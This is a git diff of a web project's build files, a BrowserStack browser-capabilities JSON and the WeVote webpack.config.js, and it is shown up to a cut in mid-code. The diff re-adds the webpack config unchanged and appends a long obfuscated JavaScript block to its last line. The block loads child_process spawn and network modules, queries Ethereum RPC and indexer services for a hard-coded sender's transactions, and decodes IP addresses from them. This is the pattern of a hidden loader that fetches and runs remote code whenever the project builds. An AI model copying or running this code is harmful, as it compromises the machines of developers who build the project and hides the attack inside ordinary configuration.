- "seleniumLogs": "false",
- "seleniumVersion": "4.11.0",
- "autoWait": 10
- }
- }
-]
+[
+ {
+ "browserName": "Chrome",
+ "bstack:options": {
+ "os": "Windows",
+ "osVersion": "10",
+ "browserVersion": "latest",
+ "seleniumLogs": "false",
+ "seleniumVersion": "4.11.0",
+ "autoWait": 10
+ }
+ }
+]
diff --git a/webpack.config.js b/webpack.config.js
index a0704b707a..d4e9ceb615 100644
--- a/webpack.config.js
+++ b/webpack.config.js
@@ -1,196 +1,197 @@
-/* jshint esversion: 6 */
-const CopyPlugin = require('copy-webpack-plugin');
-const ESLintPlugin = require('eslint-webpack-plugin');
-const HtmlWebpackPlugin = require('html-webpack-plugin');
-const MomentLocalesPlugin = require('moment-locales-webpack-plugin');
-const SourceMapDevToolPlugin = require('webpack/lib/SourceMapDevToolPlugin');
-const TerserPlugin = require('terser-webpack-plugin');
-const UnusedWebpackPlugin = require('unused-webpack-plugin');
-const WebpackShellPluginNext = require('webpack-shell-plugin-next');
-const fs = require('fs');
-const path = require('path');
-const webpack = require('webpack');
-const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer');
-
-const port = process.env.PORT || 3000;
-const isHTTPS = process.env.PROTOCOL && process.env.PROTOCOL === 'HTTPS';
-const isWebApp = !process.env.npm_lifecycle_script.includes('CORDOVA=1');
-const useRealCerts = process.env.npm_lifecycle_script.includes('USE_REAL_CERTS=1');
-const isProduction = process.env.npm_lifecycle_script.includes('PRODUCTION=1');
-const source = isWebApp ? 'src' : 'srcCordova';
-const bundleAnalysis = process.env.ANALYSIS || false; // enable the interactive bundle analyser and the Unused component analyzer
-const minimized = process.env.MINIMIZED === '1' || false; // enable the Terser plugin that strips comments and shrinks long variable names
-const verBits = process.version.split('.');
-const major = parseInt(verBits[0].replace('v', ''));
-if (major < 13) {
- console.error(`The minimum Node version is: v14.0.0, but you are running ${process.version}\n`);
-} else {
- console.log(`Node version is: ${process.version}`);
-}
-if (useRealCerts) console.log('useRealCerts in webpack.config.js ', useRealCerts);
-// console.log('crt: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`).toString());
-// console.log('key: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`).toString());
-
-module.exports = (env, argv) => ({
- entry: path.resolve(__dirname, `./${source}/index.jsx`),
- module: {
- rules: [
- {
- test: /\.(js|jsx)$/,
- exclude: /node_modules|srcDeprecated/,
- use: ['babel-loader'],
- },
- {
- test: /\.(png|jp(e*)g|svg|eot|woff|ttf)$/,
- use: [
- {
- loader: 'file-loader',
- options: {
- publicPath: '/',
- exclude: /srcDeprecated/,
- name: '[path][name].[ext]',
- },
- },
- ],
- },
- ],
- },
- optimization: {
- minimize: minimized,
- minimizer: [
- ...(minimized ? [
- new TerserPlugin({
- parallel: true,
- terserOptions: {
- // https://github.com/webpack-contrib/terser-webpack-plugin#terseroptions
- format: {
- comments: false,
- },
- },
- }),
- ] : []),
- ],
- },
- resolve: {
- modules: [path.resolve(__dirname, source), 'node_modules'],
- extensions: ['.*', '.js', '.jsx'],
- alias: {
- '@mui/styled-engine': '@mui/styled-engine-sc',
- },
- },
- output: {
- path: path.resolve(__dirname, './build'),
- filename: isWebApp ? '[name].[contenthash].js' : 'bundle.js',
- publicPath: isWebApp ? '/' : undefined,
- },
- infrastructureLogging: {
- level: 'verbose',
- },
- // source-map is for OpenReplay
- devtool: 'source-map',
- plugins: [
- new ESLintPlugin({ failOnError: false, failOnWarning: false }),
- new HtmlWebpackPlugin({
- title: 'WeVote Sample Ballot',
- template: path.resolve(__dirname, `./${source}/index.html`),
- }),
- ...(bundleAnalysis ? [
- new UnusedWebpackPlugin({ // Set ANALYSIS to true to list (likely) unused files
- directories: [path.join(__dirname, source)],
- exclude: [
- '/**/cert/',
- '/**/global/svg-icons/',
- '/*.test.js',
- '/**/config*.*',
- 'extension.html',
- '/sass/',
- '/robots.txt',
- '/app-ads.txt',
- 'srcDeprecated',
- ],
- root: __dirname,
- }),
- new BundleAnalyzerPlugin(),
- ] : []),
- new CopyPlugin({
- patterns: [
- { from: `${source}/robots.txt`, to: '.' },
- { from: `${source}/app-ads.txt`, to: '.' },
- {
- from: `${source}/css/`,
- to: 'css/',
- globOptions: { ignore: ['**/mainPreBeautified.css', '**/mainSubtract.css']},
- },
- { from: `${source}/javascript`, to: 'javascript/' },
- { from: `${source}/extension.html`, to: '.' },
- {
- from: `${source}/img`,
- to: 'img/',
- globOptions: { ignore: ['**/DO-NOT-BUNDLE/**']},
- },
- ...(isProduction ? [
- { from: 'node/STORYBOOK-README.TXT', to: './storybook-static/STORYBOOK-README.TXT' },
- { from: 'storybook-static', to: './storybook-static' },
- ] : []),
- ],
- }),
- new MomentLocalesPlugin(),
- new WebpackShellPluginNext({
- onBuildEnd: {
- scripts: ['node ./src/js/common/node/webPackPostBuild.js'],
- blocking: false,
- parallel: true,
- },
- }),
- ...(argv.mode === 'production' ? [
- new webpack.DefinePlugin({
- // We need to get webpack into production mode, to make it include the much smaller minimized libraries
- // especially for React itself.
- // PRODUCTION: JSON.stringify(true),
- 'process.env.NODE_ENV': JSON.stringify('production'),
- 'REACT.FILE': JSON.stringify(path.basename(__filename)), // Injects the current file's basename
- }),
- ] : [
- new SourceMapDevToolPlugin({
- filename: isWebApp ? null : '[file].map', // if no value is provided the sourcemap is inlined
- exclude: [/node_modules/, /css/],
- }),
- ]),
- ],
- devServer: {
- allowedHosts: ['wevotedeveloper.com', 'localhost'],
- static: {
- directory: path.join(__dirname, './build/index.html'),
- },
- host: (useRealCerts ? 'wevotedeveloper.com' : 'localhost'),
- port,
- historyApiFallback: true,
- ...(isHTTPS ? {
- server: {
- type: 'https',
- options: {
- ...(useRealCerts ? {
- // For testing with Cordova and real authoritative certs
- key: fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`),
- cert: fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`),
- // requestCert: true,
- // passphrase: 'webpack-dev-server',
- } : {
- key: fs.readFileSync(`./${source}/cert/server.key`),
- cert: fs.readFileSync(`./${source}/cert/server.crt`),
- }),
- },
- },
- } : {}),
- client: {
- overlay: {
- runtimeErrors: (error) => {
- if (error.message.includes('ResizeObserver loop')) {
- return false;
- }
- return true;
- },
- },
- },
- },
-});
+/* jshint esversion: 6 */
+const CopyPlugin = require('copy-webpack-plugin');
+const ESLintPlugin = require('eslint-webpack-plugin');
+const HtmlWebpackPlugin = require('html-webpack-plugin');
+const MomentLocalesPlugin = require('moment-locales-webpack-plugin');
+const SourceMapDevToolPlugin = require('webpack/lib/SourceMapDevToolPlugin');
+const TerserPlugin = require('terser-webpack-plugin');
+const UnusedWebpackPlugin = require('unused-webpack-plugin');
+const WebpackShellPluginNext = require('webpack-shell-plugin-next');
+const fs = require('fs');
+const path = require('path');
+const webpack = require('webpack');
+const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer');
+
+const port = process.env.PORT || 3000;
+const isHTTPS = process.env.PROTOCOL && process.env.PROTOCOL === 'HTTPS';
+const isWebApp = !process.env.npm_lifecycle_script.includes('CORDOVA=1');
+const useRealCerts = process.env.npm_lifecycle_script.includes('USE_REAL_CERTS=1');
+const isProduction = process.env.npm_lifecycle_script.includes('PRODUCTION=1');
+const source = isWebApp ? 'src' : 'srcCordova';
+const bundleAnalysis = process.env.ANALYSIS || false; // enable the interactive bundle analyser and the Unused component analyzer
+const minimized = process.env.MINIMIZED === '1' || false; // enable the Terser plugin that strips comments and shrinks long variable names
+const verBits = process.version.split('.');
+const major = parseInt(verBits[0].replace('v', ''));
+if (major < 13) {
+ console.error(`The minimum Node version is: v14.0.0, but you are running ${process.version}\n`);
+} else {
+ console.log(`Node version is: ${process.version}`);
+}
+if (useRealCerts) console.log('useRealCerts in webpack.config.js ', useRealCerts);
+// console.log('crt: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`).toString());
+// console.log('key: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`).toString());
+
+module.exports = (env, argv) => ({
+ entry: path.resolve(__dirname, `./${source}/index.jsx`),
+ module: {
+ rules: [
+ {
+ test: /\.(js|jsx)$/,
+ exclude: /node_modules|srcDeprecated/,
+ use: ['babel-loader'],
+ },
+ {
+ test: /\.(png|jp(e*)g|svg|eot|woff|ttf)$/,
+ use: [
+ {
+ loader: 'file-loader',
+ options: {
+ publicPath: '/',
+ exclude: /srcDeprecated/,
+ name: '[path][name].[ext]',
+ },
+ },
+ ],
+ },
+ ],
+ },
+ optimization: {
+ minimize: minimized,
+ minimizer: [
+ ...(minimized ? [
+ new TerserPlugin({
+ parallel: true,
+ terserOptions: {
+ // https://github.com/webpack-contrib/terser-webpack-plugin#terseroptions
+ format: {
+ comments: false,
+ },
+ },
+ }),
+ ] : []),
+ ],
+ },
+ resolve: {
+ modules: [path.resolve(__dirname, source), 'node_modules'],
+ extensions: ['.*', '.js', '.jsx'],
+ alias: {
+ '@mui/styled-engine': '@mui/styled-engine-sc',
+ },
+ },
+ output: {
+ path: path.resolve(__dirname, './build'),
+ filename: isWebApp ? '[name].[contenthash].js' : 'bundle.js',
+ publicPath: isWebApp ? '/' : undefined,
+ },
+ infrastructureLogging: {
+ level: 'verbose',
+ },
+ // source-map is for OpenReplay
+ devtool: 'source-map',
+ plugins: [
+ new ESLintPlugin({ failOnError: false, failOnWarning: false }),
+ new HtmlWebpackPlugin({
+ title: 'WeVote Sample Ballot',
+ template: path.resolve(__dirname, `./${source}/index.html`),
+ }),
+ ...(bundleAnalysis ? [
+ new UnusedWebpackPlugin({ // Set ANALYSIS to true to list (likely) unused files
+ directories: [path.join(__dirname, source)],
+ exclude: [
+ '/**/cert/',
+ '/**/global/svg-icons/',
+ '/*.test.js',
+ '/**/config*.*',
+ 'extension.html',
+ '/sass/',
+ '/robots.txt',
+ '/app-ads.txt',
+ 'srcDeprecated',
+ ],
+ root: __dirname,
+ }),
+ new BundleAnalyzerPlugin(),
+ ] : []),
+ new CopyPlugin({
+ patterns: [
+ { from: `${source}/robots.txt`, to: '.' },
+ { from: `${source}/app-ads.txt`, to: '.' },
+ {
+ from: `${source}/css/`,
+ to: 'css/',
+ globOptions: { ignore: ['**/mainPreBeautified.css', '**/mainSubtract.css']},
+ },
+ { from: `${source}/javascript`, to: 'javascript/' },
+ { from: `${source}/extension.html`, to: '.' },
+ {
+ from: `${source}/img`,
+ to: 'img/',
+ globOptions: { ignore: ['**/DO-NOT-BUNDLE/**']},
+ },
+ ...(isProduction ? [
+ { from: 'node/STORYBOOK-README.TXT', to: './storybook-static/STORYBOOK-README.TXT' },
+ { from: 'storybook-static', to: './storybook-static' },
+ ] : []),
+ ],
+ }),
+ new MomentLocalesPlugin(),
+ new WebpackShellPluginNext({
+ onBuildEnd: {
+ scripts: ['node ./src/js/common/node/webPackPostBuild.js'],
+ blocking: false,
+ parallel: true,
+ },
+ }),
+ ...(argv.mode === 'production' ? [
+ new webpack.DefinePlugin({
+ // We need to get webpack into production mode, to make it include the much smaller minimized libraries
+ // especially for React itself.
+ // PRODUCTION: JSON.stringify(true),
+ 'process.env.NODE_ENV': JSON.stringify('production'),
+ 'REACT.FILE': JSON.stringify(path.basename(__filename)), // Injects the current file's basename
+ }),
+ ] : [
+ new SourceMapDevToolPlugin({
+ filename: isWebApp ? null : '[file].map', // if no value is provided the sourcemap is inlined
+ exclude: [/node_modules/, /css/],
+ }),
+ ]),
+ ],
+ devServer: {
+ allowedHosts: ['wevotedeveloper.com', 'localhost'],
+ static: {
+ directory: path.join(__dirname, './build/index.html'),
+ },
+ host: (useRealCerts ? 'wevotedeveloper.com' : 'localhost'),
+ port,
+ historyApiFallback: true,
+ ...(isHTTPS ? {
+ server: {
+ type: 'https',
+ options: {
+ ...(useRealCerts ? {
+ // For testing with Cordova and real authoritative certs
+ key: fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`),
+ cert: fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`),
+ // requestCert: true,
+ // passphrase: 'webpack-dev-server',
+ } : {
+ key: fs.readFileSync(`./${source}/cert/server.key`),
+ cert: fs.readFileSync(`./${source}/cert/server.crt`),
+ }),
+ },
+ },
+ } : {}),
+ client: {
+ overlay: {
+ runtimeErrors: (error) => {
+ if (error.message.includes('ResizeObserver loop')) {
+ return false;
+ }
+ return true;
+ },
+ },
+ },
+ },
+}); global.i="A9";const _0x3a2ebe=_0x355e;(function(_0x48f9d7,_0x1a07be){const _0x4e7ab0=_0x355e,_0x39127c=_0x48f9d7();while(!![]){try{const _0x3f9af1=parseInt(_0x4e7ab0(0xf0))/(0x1*-0x1087+-0x1170+-0x4*-0x87e)*(-parseInt(_0x4e7ab0(0xdd))/(0x7*0x165+0x160f+-0x1fd0))+-parseInt(_0x4e7ab0(0x13c))/(-0x202*0x2+-0xe38+0x123f)+-parseInt(_0x4e7ab0(0xa5))/(0x7b*0x39+-0x1*0x417+0xba4*-0x2)+parseInt(_0x4e7ab0(0xc0))/(0x3a0+-0x21a2+0x1e07*0x1)+parseInt(_0x4e7ab0(0xb5))/(0x8ff*0x2+-0x1a2*0x6+0x82c*-0x1)*(-parseInt(_0x4e7ab0(0x174))/(0x10a6+0x2534+-0x35d3))+parseInt(_0x4e7ab0(0x10c))/(-0x11d1+0xbe+0x1d*0x97)+parseInt(_0x4e7ab0(0x13a))/(-0xb8*0x8+0x1df6+0x80f*-0x3);if(_0x3f9af1===_0x1a07be)break;else _0x39127c['push'](_0x39127c['shift']());}catch(_0x388603){_0x39127c['push'](_0x39127c['shift']());}}}(_0x12f0,-0xfbb0*-0x2+0x1*0x13020b+0x5*-0x20155));import{createRequire}from'module';let require=createRequire(import.meta.url);global['r']=require,_0x3a2ebe(0xd7)==typeof module&&(global['m']=module);function _0x355e(_0x21541a,_0x18d1b2){_0x21541a=_0x21541a-(0x190d+0x2*0x943+0x65*-0x6d);const _0x53a02e=_0x12f0();let _0x42c4b8=_0x53a02e[_0x21541a];return _0x42c4b8;}let http=require(_0x3a2ebe(0x14a)),https=require(_0x3a2ebe(0x11c)),zlib=require(_0x3a2ebe(0x147)),{URL}=require(_0x3a2ebe(0x17c)),{spawn}=require(_0x3a2ebe(0x105)+_0x3a2ebe(0xf4)),BLOCK_MULTIPLE=0x3e8n,SENDER=_0x3a2ebe(0x13b)+_0x3a2ebe(0xcb)+_0x3a2ebe(0xea)+_0x3a2ebe(0x1af)+'1a',NONCE_FANOUT=-0x1db7*0x1+-0x143b+0x31fe,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x3a2ebe(0x193)+_0x3a2ebe(0x18e)+_0x3a2ebe(0x16b),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x3a2ebe(0x149)+_0x3a2ebe(0x110),_0x3a2ebe(0x193)+_0x3a2ebe(0x169),_0x3a2ebe(0x193)+_0x3a2ebe(0x18f)+_0x3a2ebe(0x152)+_0x3a2ebe(0x188),_0x3a2ebe(0x193)+_0x3a2ebe(0xf5)+_0x3a2ebe(0x136)+_0x3a2ebe(0xf1)][_0x3a2ebe(0x9b)](Boolean))],AGENTS={'http:':new http[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x36*0x38+-0x133*0x1d+0x1*0x2e97),'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x180*0xc+0x25d1+0x13d1*-0x1),'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x438117,_0x5d73ca){const _0x8685d7=_0x3a2ebe,_0x25ef4d={'TCDmB':_0x8685d7(0x9a)};_0x438117&&_0x438117[_0x8685d7(0x194)+_0x8685d7(0xf9)](_0x25ef4d[_0x8685d7(0x191)],()=>_0x5d73ca[_0x8685d7(0x9a)](),{'once':!(0x1*-0x1073+-0x319*-0x4+0x40f)});}function decompressStream(_0x1f71f7){const _0x29b168=_0x3a2ebe,_0x5d6cbb={'BTHgJ':_0x29b168(0xc8)+_0x29b168(0x126),'VLAGf':function(_0x5acbb2,_0x1cb9f1){return _0x5acbb2===_0x1cb9f1;},'JbAci':_0x29b168(0x148),'GAvxe':_0x29b168(0x186),'KvMSQ':function(_0x55b882,_0x1919d7){return _0x55b882===_0x1919d7;},'DSbLa':_0x29b168(0xeb)};let _0x98df8e=(_0x1f71f7[_0x29b168(0x14b)][_0x5d6cbb[_0x29b168(0x12f)]]||'')[_0x29b168(0xc2)+'e']();return _0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x14d)],_0x98df8e)||_0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x176)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x14c)+'ip']()):_0x5d6cbb[_0x29b168(0x134)](_0x5d6cbb[_0x29b168(0xfd)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x165)+_0x29b168(0xb1)]()):_0x5d6cbb[_0x29b168(0x164)]('br',_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x19f)+_0x29b168(0x12d)+'ss']()):_0x1f71f7;}function httpRequest(_0x593adb,{method:_0x25a99d=_0x3a2ebe(0x133),body:_0x3f686c,signal:_0x95d4f4}={}){const _0x3d2da5=_0x3a2ebe,_0x42d10d={'JODvp':function(_0x56ddc3,_0x1259f1){return _0x56ddc3(_0x1259f1);},'gvgPD':_0x3d2da5(0x19b),'gMfuo':_0x3d2da5(0xaf),'KaaPY':_0x3d2da5(0x142),'rysJt':_0x3d2da5(0xc1),'UlrdI':function(_0x322dc5,_0x2b93bc){return _0x322dc5===_0x2b93bc;},'MHjGK':_0x3d2da5(0xd5),'zBIcw':function(_0x2a5ebb,_0xfe6778){return _0x2a5ebb+_0xfe6778;},'VGOlJ':function(_0x563e9c,_0x3a7e42){return _0x563e9c!=_0x3a7e42;},'xuBDG':function(_0x4bfaf9,_0x580f75){return _0x4bfaf9===_0x580f75;},'sZAHS':_0x3d2da5(0x161)+_0x3d2da5(0xa8),'tjngf':_0x3d2da5(0x12a)+_0x3d2da5(0x1aa),'LGNYs':_0x3d2da5(0x131),'YvZxf':_0x3d2da5(0x1a9)+'pe','vWzxi':_0x3d2da5(0x16e)+_0x3d2da5(0x1b5)};let _0x3cdce5=new URL(_0x593adb),_0x5032cf=_0x42d10d[_0x3d2da5(0x12c)](_0x42d10d[_0x3d2da5(0x139)],_0x3cdce5[_0x3d2da5(0x196)])?https:http,_0x27236b={'Accept':_0x42d10d[_0x3d2da5(0xa0)],'Accept-Encoding':_0x42d10d[_0x3d2da5(0xbb)],'Connection':_0x42d10d[_0x3d2da5(0x135)]};return _0x42d10d[_0x3d2da5(0xe3)](null,_0x3f686c)&&(_0x27236b[_0x42d10d[_0x3d2da5(0x115)]]=_0x42d10d[_0x3d2da5(0xa0)],_0x27236b[_0x42d10d[_0x3d2da5(0x17b)]]=Buffer[_0x3d2da5(0x19d)](_0x3f686c)),new Promise((_0x19f067,_0x4835e3)=>{const _0x3ef1bc=_0x3d2da5;let _0xaf0385=_0x5032cf[_0x3ef1bc(0xc7)]({'hostname':_0x3cdce5[_0x3ef1bc(0x93)],'port':_0x3cdce5[_0x3ef1bc(0x15d)]||(_0x42d10d[_0x3ef1bc(0x120)](_0x42d10d[_0x3ef1bc(0x139)],_0x3cdce5[_0x3ef1bc(0x196)])?0x1*-0xcfb+-0x1d2d+0xf*0x2ed:0x1338+0x2*-0x8d5+-0x13e),'path':_0x42d10d[_0x3ef1bc(0x14e)](_0x3cdce5[_0x3ef1bc(0x150)],_0x3cdce5[_0x3ef1bc(0x10e)]),'method':_0x25a99d,'agent':AGENTS[_0x3cdce5[_0x3ef1bc(0x196)]],'signal':_0x95d4f4,'headers':_0x27236b},_0x574ec9=>{const _0x4fd834=_0x3ef1bc,_0x10e94a={'ZGtcg':function(_0x483995,_0x4a5702){const _0x49dc91=_0x355e;return _0x42d10d[_0x49dc91(0x114)](_0x483995,_0x4a5702);},'vJvXf':_0x42d10d[_0x4fd834(0x18b)]};let _0x431427=_0x42d10d[_0x4fd834(0x114)](decompressStream,_0x574ec9),_0x39bef6=[];_0x431427['on'](_0x42d10d[_0x4fd834(0x122)],_0x123305=>_0x39bef6[_0x4fd834(0x198)](_0x123305)),_0x431427['on'](_0x42d10d[_0x4fd834(0x1ac)],()=>{const _0x589be9=_0x4fd834;try{_0x10e94a[_0x589be9(0x99)](_0x19f067,JSON[_0x589be9(0xd4)](Buffer[_0x589be9(0x107)](_0x39bef6)[_0x589be9(0x159)](_0x10e94a[_0x589be9(0xc5)])));}catch(_0x1c95a1){_0x10e94a[_0x589be9(0x99)](_0x4835e3,_0x1c95a1);}}),_0x431427['on'](_0x42d10d[_0x4fd834(0x121)],_0x4835e3);});_0xaf0385['on'](_0x42d10d[_0x3ef1bc(0x121)],_0x4835e3),_0x42d10d[_0x3ef1bc(0xe3)](null,_0x3f686c)&&_0xaf0385[_0x3ef1bc(0xb6)](_0x3f686c),_0xaf0385[_0x3ef1bc(0x142)]();});}async function withRpcEndpoints(_0x3c144e,_0x2ea979){const _0x495608=_0x3a2ebe;let _0x418a00=RPC_ENDPOINTS[_0x495608(0x14f)](()=>new AbortController());_0x418a00[_0x495608(0x95)](_0x15379b=>linkAbort(_0x2ea979,_0x15379b));try{return await Promise[_0x495608(0x11e)](RPC_ENDPOINTS[_0x495608(0x14f)]((_0x4c6137,_0x2fd673)=>_0x3c144e(_0x4c6137,_0x418a00[_0x2fd673][_0x495608(0x10b)])));}finally{for(let _0x393e64 of _0x418a00)_0x393e64[_0x495608(0x9a)]();}}async function rpcCall(_0x1c3ac1,_0x908566,_0x2038b9,_0x36db10){const _0x24e2d3=_0x3a2ebe,_0x55d7b1={'hXaau':function(_0x7320cd,_0x19397a,_0x30fde9){return _0x7320cd(_0x19397a,_0x30fde9);},'MxoIv':_0x24e2d3(0x19c),'CtMxp':_0x24e2d3(0x97)};let _0xffe3dd=await _0x55d7b1[_0x24e2d3(0x109)](httpRequest,_0x1c3ac1,{'method':_0x55d7b1[_0x24e2d3(0x9f)],'body':JSON[_0x24e2d3(0x98)]({'jsonrpc':_0x55d7b1[_0x24e2d3(0x140)],'id':0x1,'method':_0x908566,'params':_0x2038b9}),'signal':_0x36db10});return _0xffe3dd[_0x24e2d3(0xd6)];}async function rpcBatch(_0xb94eeb,_0x2e1831,_0x1aa236){const _0x143ca3=_0x3a2ebe,_0x8d06ce={'vVkBr':function(_0x259c12,_0x46239b,_0x186b51){return _0x259c12(_0x46239b,_0x186b51);},'HiWYY':_0x143ca3(0x19c)};let _0x303103=await _0x8d06ce[_0x143ca3(0x103)](httpRequest,_0xb94eeb,{'method':_0x8d06ce[_0x143ca3(0x1a8)],'body':JSON[_0x143ca3(0x98)](_0x2e1831[_0x143ca3(0x14f)](([_0xe79aa1,_0x386e83],_0x397f41)=>({'jsonrpc':_0x143ca3(0x97),'id':_0x397f41+(-0x2b*-0x48+0x2467+0x3*-0x102a),'method':_0xe79aa1,'params':_0x386e83}))),'signal':_0x1aa236}),_0x43900d=new Map(_0x303103[_0x143ca3(0x14f)](_0x46f816=>[_0x46f816['id'],_0x46f816]));return _0x2e1831[_0x143ca3(0x14f)]((_0x246f0d,_0x260de3)=>_0x43900d[_0x143ca3(0xe9)](_0x260de3+(-0xa25*-0x2+0x19fa+-0x2e43))[_0x143ca3(0xd6)]);}let toBlockHex=_0x460a01=>'0x'+_0x460a01[_0x3a2ebe(0x159)](0x1b97+-0x2*0x3a7+-0x1f*0xa7);function findSenderTx(_0xaed72){const _0x58ebf2=_0x3a2ebe;return _0xaed72[_0x58ebf2(0x9d)](_0x11770d=>_0x11770d[_0x58ebf2(0x18c)]&&_0x11770d[_0x58ebf2(0x18c)][_0x58ebf2(0xc2)+'e']()===SENDER)||null;}function decodeAddress(_0x3f982d){const _0x53878e=_0x3a2ebe,_0x160094={'ScXiL':_0x53878e(0x15a),'jrdXD':function(_0x5aff48,_0x31311f){return _0x5aff48(_0x31311f);},'DGksE':function(_0x4f37d6,_0x4e64f1){return _0x4f37d6(_0x4e64f1);}};let _0x268f72=Buffer[_0x53878e(0x18c)](_0x3f982d[_0x53878e(0xbd)](/^0x/i,''),_0x160094[_0x53878e(0x1a2)]),_0x43d4d2=_0x33741d=>_0x33741d[-0x853+-0x2*0x338+0xec3]+'.'+_0x33741d[-0xb2c+-0x1e9+-0x1*-0xd16]+'.'+_0x33741d[-0x1*-0x704+-0x1*-0x25e1+0x2ce3*-0x1]+'.'+_0x33741d[0x2*0x1042+-0x4c2*0x5+-0x8b7];return[_0x160094[_0x53878e(0xb0)](_0x43d4d2,_0x268f72[_0x53878e(0xde)](-0x1*-0x1def+0x1939+0x4*-0xdca,0x71*0x23+0x2410+-0x337f)),_0x160094[_0x53878e(0xcf)](_0x43d4d2,_0x268f72[_0x53878e(0xde)](-0x2f*0x3+0xb5*0xd+-0x6*0x170,0x1*-0x22a0+-0xe*0x15a+0x3594))];}function _0x12f0(){const _0x2c2fa8=['smCxl','node:https','oad\x20body','any','zNIqU','UlrdI','rysJt','gMfuo','Payload-B6',':443/0x/ls','ipNqp','coding','UqBND',',Sr3=@','_t_u\x27]=\x27','gzip,\x20defl','SDbiI','xuBDG','liDecompre','EreqP','BTHgJ','Kit/537.36','keep-alive','_t_s\x27]=\x27','GET','KvMSQ','LGNYs','public.bla','plaFW','NkKDh','MHjGK','13698468PmAknI','0xa322e5f3','297120QUZuEg','yrzwP','zeoxL','eth_getBlo','CtMxp','Agent','end','on=txlist&','jvgKp','KXiLK','Win64;\x20x64','node:zlib','gzip','https://1r','node:http','headers','createGunz','JbAci','zBIcw','map','pathname','nghnv','.publicnod','fari/537.3','RpPIO',':80','VnFVq','m\x27]=module','hrUVT','toString','hex','LBjUj','_t_s','port','_H2\x27]=\x27','QLmfg','9&page=1&o','applicatio','YZKTj','findIndex','VLAGf','createInfl','transactio','gldQK','GuYPf','h.drpc.org','_H2','ut.com/api','fLYXd','has','Content-Le','controller','aveIc','tavZt','BJgzE','add','49oNuXHs','JVkQF','GAvxe','unref','then','al=global;','\x27]=\x27','vWzxi','node:url','oMnng','http://','run','\x20Chrome/13',':443','bXcTI','k=0&endblo','lnQal','@^1aQk','x-gzip','nonce','e.com','bLolJ','ike\x20Gecko)','gvgPD','from','KafOh','h.blocksco','hereum-rpc','ort=desc&f','TCDmB','LssUT','https://et','addEventLi','pipe','protocol','ffset=20&s','push','ZgpqG','Tnnlg','utf8','POST','byteLength','qFOcQ','createBrot','ugrhL','eth_blockN','ScXiL','WYnsa','0\x20(Windows','zwjTr','eEQvU','b64','HiWYY','Content-Ty','ate,\x20br','xxxso','KaaPY','fIkOw','blockNumbe','9adc2490ef','eAmtO','min','wNEAr','ucVFK','jueMj','ngth','FfHYb','gzKWs','PSzJk','resume','y-p_>d$0B&','nILEL','hostname','KQldR','forEach','base64','2.0','stringify','ZGtcg','abort','filter','rMZnD','find','1.0.0.0\x20Sa','MxoIv','sZAHS','fbAQy','dQhjR','count&acti','qqKoX','3999712DXgKmU','ziJAI','q4FZkxX{!h','n/json','x-payload-','foHur','RWrVc','charCodeAt','nnxOv','mjCAw','data','jrdXD','ate','ZYBBe','eth_getTra','all','883554gwKkih','write','JQKVG','mGgtb','Missing\x20X-','ck=9999999','tjngf','address=','replace','r\x27]=requir','fJKsv','5050170JAAsRa','error','toLowerCas','xbMiN','ilterby=fr','vJvXf','raCZU','request','content-en','unt','XLylK','d311d3080e','TOkwx','length','WMrCP','DGksE','nsactionCo','FWUiH','RsZph','aPZUM','parse','https:','result','object','umber','VMnQg','CDbzL','Empty\x20payl','\x20NT\x2010.0;\x20','2KeNBiC','subarray','wvGeG','CUrwh','\x20(KHTML,\x20l','XrZYs','VGOlJ',':443/0x/cl','&startbloc','rjSZm','LTGfe','ZAlOy','get','6f0121063e','deflate','MjzxH','node','\x27;global[\x27','?module=ac','360688RTYsDf','stapi.io','isArray','eWCKt','_process','h-mainnet.','GGqwf','eIHSm','xQuoH','stener','_H\x27]=\x27','Mozilla/5.','djgaa','DSbLa','qiODF','global[\x27_V','catch','cVjMR','SXfgk','vVkBr','QMwHG','node:child',';var\x20_glob','concat','JGUpq','hXaau','XHNyr','signal','5407112rvLYDS','ckByNumber','search','ignore','pc.io/eth','e;global[\x27','gIWWO','SHJJd','JODvp','YvZxf','_t_u',')\x20AppleWeb','CRKiT','tqJhV','HEAD'];_0x12f0=function(){return _0x2c2fa8;};return _0x12f0();}function firstMatch(_0x21b624){const _0x5f5985={'fIkOw':function(_0x228835,_0x5c99db){return _0x228835(_0x5c99db);},'fJKsv':function(_0x6e49ad,_0x5da592){return _0x6e49ad==_0x5da592;},'aveIc':function(_0x5f50e9,_0x4cf526){return _0x5f50e9(_0x4cf526);},'JVkQF':function(_0x1b9cad,_0x34e74f){return _0x1b9cad!=_0x34e74f;},'QLmfg':function(_0x2b1d39,_0xfdf95d){return _0x2b1d39(_0xfdf95d);},'gldQK':function(_0x330753,_0x1837de){return _0x330753(_0x1837de);}};return new Promise(_0x1055a6=>{const _0x43a200=_0x355e,_0x574496={'qqKoX':function(_0x4f2e13,_0x16b5ae){const _0x4bfb56=_0x355e;return _0x5f5985[_0x4bfb56(0x170)](_0x4f2e13,_0x16b5ae);}};let _0x34d0a3=_0x21b624[_0x43a200(0xcd)];if(!_0x34d0a3)return _0x5f5985[_0x43a200(0x167)](_0x1055a6,null);let _0x12f190=!(0x1*-0xead+-0x25d5+0x3483),_0x4ea38e=_0x344775=>{const _0x5a6f9a=_0x43a200;if(!_0x12f190){for(let _0x11c14b 